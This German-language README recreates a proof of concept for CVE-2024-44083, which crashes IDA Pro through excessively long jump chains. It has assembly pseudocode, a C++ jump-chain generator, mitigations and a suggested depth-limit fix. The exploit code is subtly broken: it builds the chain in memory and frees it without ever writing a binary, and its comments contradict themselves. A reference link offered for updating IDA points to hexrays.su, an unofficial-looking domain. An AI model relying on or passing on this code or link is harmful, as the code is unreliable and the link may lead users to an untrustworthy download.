
mein CVE-2024-44083 poc.
Die ursprünglichen PoC-Repos wurden gelöscht (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) also hier ist es. Ich dachte, ich erstelle es neu für alle, die verstehen wollen, wie es funktioniert oder ihr Setup testen möchten.
IDA Pro ≤ 8.4 stürzt ab, wenn Binärdateien mit übermäßigen Sprungketten analysiert werden.
ida64.dll begrenzt nicht, wie tief es beim Verfolgen von Sprungketten geht. Wenn Sie also eine Binärdatei mit Tausenden von verketteten Sprüngen haben, die am Einstiegspunkt enden, bringt sich IDA selbst um.
| Feld | Wert |
|---|---|
| CVE | CVE-2024-44083 |
| betroffen | IDA Pro ≤ 8.4 |
| Komponente | ida64.dll |
| CWE | CWE-770 (Ressourcenerschöpfung) |
| Auswirkung | Absturz (DoS) |
Die Idee ist einfach: Erstellen Sie einen Abschnitt voller Sprünge, die immer weiter zu weiteren Sprüngen springen.
; Pseudocode natürlich
section .text
; Tausende davon
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... weiter ...
jump_9999:
jmp payload
payload:
call _start ; dies erzeugt die Querverweise, die Dinge kaputt machen
_start:
; IDA versucht, alle hierher zeigenden Sprünge aufzulösen
; Bumm, Absturz
ret
IDA versucht, all diese Sprünge zu verfolgen und Querverweise zu erstellen. Bei genügend vielen gibt es einfach auf und stürzt ab.
Wenn Sie so etwas in C++ erstellen möchten, würden Sie etwa Folgendes tun:
#include <windows.h>
#include <cstring>
// Die Idee ist, eine Menge von Sprungbefehlen zu generieren,
// die aneinandergereiht sind und schließlich auf den Einstiegspunkt treffen.
void generate_jump_chain() {
// ausführbaren Speicher für unsere Sprungkette reservieren
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10.000 Sprünge × 5 Bytes + etwas extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// 10.000 verkettete Sprünge erstellen
for (int i = 0; i < 10000; i++) {
// JMP rel32-Befehl schreiben (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP-Opcode
// relativen Offset zum nächsten Sprung berechnen (5 Bytes voraus)
int32_t rel = 5;
// den 4-Byte-Relativoffset kopieren
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// letzter Sprung erzeugt zirkuläre Referenz
// 5 Bytes zurück springen, um eine Endlosschleife zu erzeugen
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// Sie können auch einen Wert zurückgeben, um es glaubwürdig zu machen
offset += 5;
code[offset] = 0xC3; // ret
// Dies ist das Muster, das IDA zum Absturz bringt:
// 10.000 Sprünge → selbstreferenzieller Sprung → IDA bleibt hängen
// keine Tiefenbegrenzung in der Rekursion → Stack-Überlauf → Absturz
// Bereinigung
VirtualFree(code, 0, MEM_RELEASE);
}
Im Grunde schreiben Sie nur eine Reihe von JMP-Befehlen, die aneinandergereiht sind. Wenn IDA versucht, schlau zu sein und sie zu analysieren, geht ihm der Stack/Speicher aus.
Wenn Sie auf einer älteren IDA festsitzen:
Deaktivieren Sie die Auto-Analyse, bevor Sie verdächtige Dateien öffnen
Analysen auf verdächtige Abschnitte beschränken
Was Hex-Rays tun sollte:
// Pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("Sprungkette zu tief. Fehler.");
return; // nicht abstürzen, einfach aufhören
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
Im Grunde nur eine Tiefenbegrenzung hinzufügen, das ist alles.
## Referenzen
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-44083)
- [hexrays.su](https://hexrays.su/) <-- um Ihre IDA zu aktualisieren
## Haftungsausschluss
Nur für Bildungszwecke, seien Sie kein Arschloch.